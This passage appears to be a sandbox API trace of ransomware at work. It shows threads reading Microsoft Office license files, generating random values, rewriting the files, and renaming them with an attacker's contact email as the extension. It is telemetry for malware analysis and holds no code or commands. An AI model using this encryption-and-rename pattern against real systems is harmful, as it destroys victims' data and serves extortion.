	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4775e30
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x125) returned 0x498ed90
	[0087.291] SetFilePointerEx (in: hFile=0x1934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.292] WriteFile (in: hFile=0x1934, lpBuffer=0x498ed90*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x2a1bfa38, lpOverlapped=0x0 | out: lpBuffer=0x498ed90*, lpNumberOfBytesWritten=0x2a1bfa38*=0x125, lpOverlapped=0x0) returned 1
	[0087.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0087.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775e30) returned 1
	[0087.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0087.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0087.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0087.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0087.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768c80
	[0087.296] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms"
	[0087.296] wcscat (in: _Dest=0x4768c80, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.296] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a1bf9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a460
	[0087.296] NtSetInformationFile (FileHandle=0x1934, IoStatusBlock=0x2a1bf9e8, FileInformation=0x477a460, Length=0xf6, FileInformationClass=0xa) returned 0x0
	[0087.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1
	[0087.297] NtQueryInformationFile (in: FileHandle=0x1934, IoStatusBlock=0x2a1bf9fc, FileInformation=0x2a1bf9d4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a1bf9fc, FileInformation=0x2a1bf9d4) returned 0x0
	[0087.297] NtSetInformationFile (FileHandle=0x1934, IoStatusBlock=0x2a1bf9fc, FileInformation=0x2a1bf9d4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.298] FlushFileBuffers (hFile=0x1934) returned 1
	[0093.123] CloseHandle (hObject=0x1934) 

Thread:
	id = 1207
	os_tid = 0x1f50

	[0086.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0086.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1938
	[0086.635] GetFileSizeEx (in: hFile=0x1938, lpFileSize=0x2a23fb74 | out: lpFileSize=0x2a23fb74*=11582) returned 1
	[0086.635] SetFilePointerEx (in: hFile=0x1938, liDistanceToMove=0x2d3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.635] ReadFile (in: hFile=0x1938, lpBuffer=0x2a23faf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a23faf4, lpOverlapped=0x0 | out: lpBuffer=0x2a23faf8*, lpNumberOfBytesRead=0x2a23faf4*=0x4, lpOverlapped=0x0) returned 1
	[0086.636] SetFilePointerEx (in: hFile=0x1938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.636] NtQuerySystemTime (in: CurrentTime=0x2a23fad4 | out: CurrentTime=0x2a23fad4*=132251868133662971) returned 0x0
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x954a4b1b
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x3a2bc83f
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xcfca8b3
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xbf821a95
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xe47fcbb3
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x2452c227
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x842757d6
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xef8ccf71
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xa6bb94d0
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x5ef1f18a
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x88a9fbad
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x234e5fa1
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xcf846d49
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x40b6452
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xc10a59eb
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x65db376a
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xfcdd3ecb
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xc4f4007d
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xfd2e330b
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x42d3f5b2
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xf3a216ee
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x6951fdef
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xb4932da1
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xfcffdb12
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xc9e698a4
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x4b497280
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x57157d30
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xe48b8174
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x29bbd322
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xe95843ce
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0xc4df821f
	[0086.637] RtlRandom (in: Seed=0x2a23fae0 | out: Seed=0x2a23fae0) returned 0x432580d6
	[0086.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d08
	[0086.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f10
	[0086.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb540
	[0086.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f98
	[0086.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4838020
	[0086.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4844828
	[0086.688] ReadFile (in: hFile=0x1938, lpBuffer=0x4838020, nNumberOfBytesToRead=0x2d3e, lpNumberOfBytesRead=0x2a23fad0, lpOverlapped=0x0 | out: lpBuffer=0x4838020*, lpNumberOfBytesRead=0x2a23fad0*=0x2d3e, lpOverlapped=0x0) returned 1
	[0086.689] SetFilePointerEx (in: hFile=0x1938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.689] WriteFile (in: hFile=0x1938, lpBuffer=0x4844828*, nNumberOfBytesToWrite=0x2d3e, lpNumberOfBytesWritten=0x2a23facc, lpOverlapped=0x0 | out: lpBuffer=0x4844828*, lpNumberOfBytesWritten=0x2a23facc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0086.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.690] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.690] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4844828) returned 1
	[0086.690] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4838020) returned 1
	[0086.690] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f98) returned 1
	[0086.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0086.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x4775610
	[0086.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb540
	[0086.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x4775200
	[0086.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0086.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12b) returned 0x4ebca00
	[0086.691] SetFilePointerEx (in: hFile=0x1938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.691] WriteFile (in: hFile=0x1938, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x12b, lpNumberOfBytesWritten=0x2a23fb34, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x2a23fb34*=0x12b, lpOverlapped=0x0) returned 1
	[0086.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0086.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775200) returned 1
	[0086.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775610) returned 1
	[0086.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0086.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0086.693] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ea808
	[0086.693] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms"
	[0086.693] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.693] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a23faec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.693] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481d3c0
	[0086.693] NtSetInformationFile (FileHandle=0x1938, IoStatusBlock=0x2a23fae4, FileInformation=0x481d3c0, Length=0xfc, FileInformationClass=0xa) returned 0x0
	[0086.694] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0086.694] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0086.694] NtQueryInformationFile (in: FileHandle=0x1938, IoStatusBlock=0x2a23faf8, FileInformation=0x2a23fad0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a23faf8, FileInformation=0x2a23fad0) returned 0x0
	[0086.694] NtSetInformationFile (FileHandle=0x1938, IoStatusBlock=0x2a23faf8, FileInformation=0x2a23fad0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.695] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.695] FlushFileBuffers (hFile=0x1938) returned 1
	[0093.103] CloseHandle (hObject=0x1938) 

Thread:
	id = 1208
	os_tid = 0x1f54

	[0086.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0086.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x193c
	[0086.695] GetFileSizeEx (in: hFile=0x193c, lpFileSize=0x2a2bf8f0 | out: lpFileSize=0x2a2bf8f0*=19927) returned 1
	[0086.695] SetFilePointerEx (in: hFile=0x193c, liDistanceToMove=0x4dd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.695] ReadFile (in: hFile=0x193c, lpBuffer=0x2a2bf874, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a2bf870, lpOverlapped=0x0 | out: lpBuffer=0x2a2bf874*, lpNumberOfBytesRead=0x2a2bf870*=0x4, lpOverlapped=0x0) returned 1
	[0086.697] SetFilePointerEx (in: hFile=0x193c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0086.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0086.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.697] NtQuerySystemTime (in: CurrentTime=0x2a2bf850 | out: CurrentTime=0x2a2bf850*=132251868134288511) returned 0x0
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xbd6a5c9a
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xb3f6e405
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xa5ce30e
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xe743f39e
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xedf2f4a5
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x831351e7
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x7cb76896
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xbb51236f
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x898be36d
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xdb03829b
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x9274a2ae
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x1830936d
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x9a66bf5f
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x8b1b866b
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x14c79ea4
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x5fc5d8b8
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xaf332988
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xd2e6547b
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x5a77236c
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xeca98c35
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x10fafab2
	[0086.697] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x6da01016
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xdd407890
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xb358c59
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xaab6ea24
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xfb540f43
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x2a040af7
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0x412c3b77
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xc208c3ae
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xd6e52db5
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xa11fefd6
	[0086.698] RtlRandom (in: Seed=0x2a2bf85c | out: Seed=0x2a2bf85c) returned 0xbfbca1a1
	[0086.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d08
	[0086.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f10
	[0086.706] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.706] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0086.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb540
	[0086.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f98
	[0086.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4838020
	[0086.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4844828
	[0086.707] ReadFile (in: hFile=0x193c, lpBuffer=0x4838020, nNumberOfBytesToRead=0x4dd7, lpNumberOfBytesRead=0x2a2bf84c, lpOverlapped=0x0 | out: lpBuffer=0x4838020*, lpNumberOfBytesRead=0x2a2bf84c*=0x4dd7, lpOverlapped=0x0) returned 1
	[0086.751] SetFilePointerEx (in: hFile=0x193c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.751] WriteFile (in: hFile=0x193c, lpBuffer=0x4844828*, nNumberOfBytesToWrite=0x4dd7, lpNumberOfBytesWritten=0x2a2bf848, lpOverlapped=0x0 | out: lpBuffer=0x4844828*, lpNumberOfBytesWritten=0x2a2bf848*=0x4dd7, lpOverlapped=0x0) returned 1
	[0087.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4844828) returned 1
	[0087.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4838020) returned 1
	[0087.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f98) returned 1
	[0087.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0087.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x4776010
	[0087.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0087.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x4775e30
	[0087.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12b) returned 0x4ebca00
